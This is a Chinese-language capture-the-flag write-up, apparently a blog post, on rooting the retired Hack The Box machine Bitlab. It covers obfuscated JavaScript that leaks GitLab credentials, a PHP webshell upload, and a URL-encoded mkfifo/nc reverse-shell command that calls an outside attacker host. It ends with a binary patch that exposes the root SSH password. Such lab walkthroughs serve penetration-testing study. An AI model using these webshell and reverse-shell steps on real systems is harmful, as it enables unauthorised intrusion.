HTB-Bitlab writeup

前言

HACK THE BOX是一个在线靶机训练平台,提供许多有趣的靶机进行渗透测试学习。本文分享下其中Bitlab靶机的渗透过程(已下线)。这是HTB系列的第一篇writeup,之后也会持续更新。

准备
Bitlab靶机地址:10.10.10.114,OS:Linux
操作机:Kali
在这里插入图片描述
对于HTB平台的注册以及连接等操作不再赘述。
此外,为了方便,将bitlab的ip地址添加到kali的/etc/hosts文件中:

10.10.10.114 bitlab.htb

0x1 nmap扫描

使用nmap扫描:

# Nmap 7.80 scan initiated Sat Jan 11 19:35:50 2020 as: nmap -sVTC -o scan -p1-65535 bitlab.htb
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.30s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 11 19:52:44 2020 -- 1 IP address (1 host up) scanned in 1013.69 seconds

得到22和80端口,分别提供ssh和web服务。
查看80端口web服务
在这里插入图片描述
登陆界面,要提供username和passwd。暂时没法登陆。

0x2 获取www-data shell

在登陆界面下看到help按钮,点进后发现有如下界面:
在这里插入图片描述
接着点击。发现当点击gitlab Login后页面没有更新,而是弹出一段js代码:

function(){var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" 

处理一下后,即:

function(){
	var _0x4b18=["\x76\x61\x6C\x75\x65",
	"\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
	"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
	"\x63\x6C\x61\x76\x65",
	"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64",
	"\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
	document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
	document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; }
()

放入浏览器中运行
在这里插入图片描述
所以用户名可能是clave,密码是11des0081x,返回登陆界面,登陆成功。
在这里插入图片描述
登陆成功后,在projects下面看到有两个项目

在这里插入图片描述
进入profile项目后,发现可以进行写入、上传、修改等操作。
在这里插入图片描述
所以尝试写入一个php木马
在这里插入图片描述
测试连接,成功。
在这里插入图片描述
获取shell

http://bitlab.htb/profile/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|%2Fbin%2Fsh%20-i%202%3E%261|nc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff

在这里插入图片描述

0x3 own user

进入到home/clave目录下并没有发现可以利用的信息
在这里插入图片描述
回到浏览器中继续寻找信息。在gitlab/snippets中找到一个db连接信息。猜测可能在该数据库中存储了clave的用户密码。
在这里插入图片描述
在靶机中执行php交互环境

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');
php > $result = $connection->query("SELECT * FROM profiles");
php > $profiles = $result->fetchAll();
php > print_r($profiles);
Array
(
    [0] => Array
        (
            [id] => 1
            [0] => 1
            [username] => clave
            [1] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
            [2] => c3NoLXN0cjBuZy1wQHNz==
        )

)
php > 

在这里插入图片描述
查看数据信息
在这里插入图片描述
得到clave用户密码(这里不需要对其进行base64解码)
ssh登录并查看到user.txt
在这里插入图片描述

0x4 own root

在clave目录下发现有一个Remoteconnection.exe,很不寻常。将其下载后用ida分析,在main函数中发现如下信息:
在这里插入图片描述
如果lpBuffer==clave,则执行ShellExecuteW函数,会调用putty程序。putty程序是用来进行远程连接的,所以猜测可能是用来进行root用户连接的。
但由于这里lpbuffer不等于clave,则程序不会执行shell函数,所以需要对其进行patch修改。

用od打开,查找clave字符串
在这里插入图片描述
双击定位到如下位置。查看汇编指令可知,地址0x00B51647处的jnz指令控制跳转,若不等于clave,则跳到0x00B51662处。将0x00B51647处的指令改为jz …后,程序便会执行ShellExecuteW函数。
在这里插入图片描述双击该指令进行修改后,并设置断点,使程序运行到ShellExecuteW函数,此时可以看到Parameters信息,如下。
在这里插入图片描述
很明显是进行ssh登陆时的密码。利用该密码进行登录,拿到root flag。
在这里插入图片描述

0x5 总结

bitlab靶机属于中等难度,涉及到了js调试、git库操作及信息收集、webshell以及逆向等知识。对于学习渗透测试很有帮助。再接再厉!同时本文也参考了其他writeup,附上链接,供参考。
0xRick Url: https://0xdf.gitlab.io/2020/01/11/htb-bitlab.html

发布了1 篇原创文章 · 获赞 2 · 访问量 128

猜你喜欢

转载自blog.csdn.net/weixin_43826280/article/details/103943571
HTB